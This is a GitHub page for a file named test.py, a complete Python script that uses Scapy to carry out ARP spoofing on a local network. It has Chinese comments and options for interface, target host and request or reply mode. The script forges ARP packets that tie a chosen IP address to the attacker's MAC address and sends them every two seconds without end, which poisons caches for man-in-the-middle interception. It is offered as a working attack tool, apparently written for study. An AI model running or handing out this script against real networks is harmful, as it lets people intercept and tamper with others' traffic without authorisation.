-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest.py
More file actions
83 lines (68 loc) · 2.87 KB
/
Copy pathtest.py
File metadata and controls
83 lines (68 loc) · 2.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# !/usr/bin/python
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr, # 获取本机网络接口的函数
getmacbyip, # 通过IP地址获取其Mac地址的函数
ARP, # 构造ARP数据包
Ether, # 构造以太网数据包
sendp # 在第二层发送数据包
)
from optparse import OptionParser #格式化用户输入的参数
def main():
#自定义程序使用方法,当中的 %prog,optparse会以当前程序名的字符串来替代
usage = 'Usage: %prog [-i interface] [-t target] host'
#创建一个 OptionParser 对象
parser = OptionParser(usage)
#add_option 来定义命令行参数
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
#调用optionparser的解析函数
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
#获取本机网络接口
mac = get_if_hwaddr(options.interface)
#主机型欺骗
#网关型欺骗
#请求包
def build_req():
#当没有明确攻击目标时,广播
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0])
elif options.target:
#通过IP地址获取其MAC地址
target_mac = getmacbyip(options.target)
#没有获取到MAC地址
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
#构造包
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
#响应包
def build_rep():
if options.target is None:
#op=1(请求包) op=2(响应包)
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
return pkt
#请求
if options.mode == 'req':
pkt = build_req()
#响应
elif options.mode == 'rep':
pkt = build_rep()
while True:
#在两次发送数据包之间有一定的时间间隔,使用inter选项,表示每隔2秒发送一个数据包
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()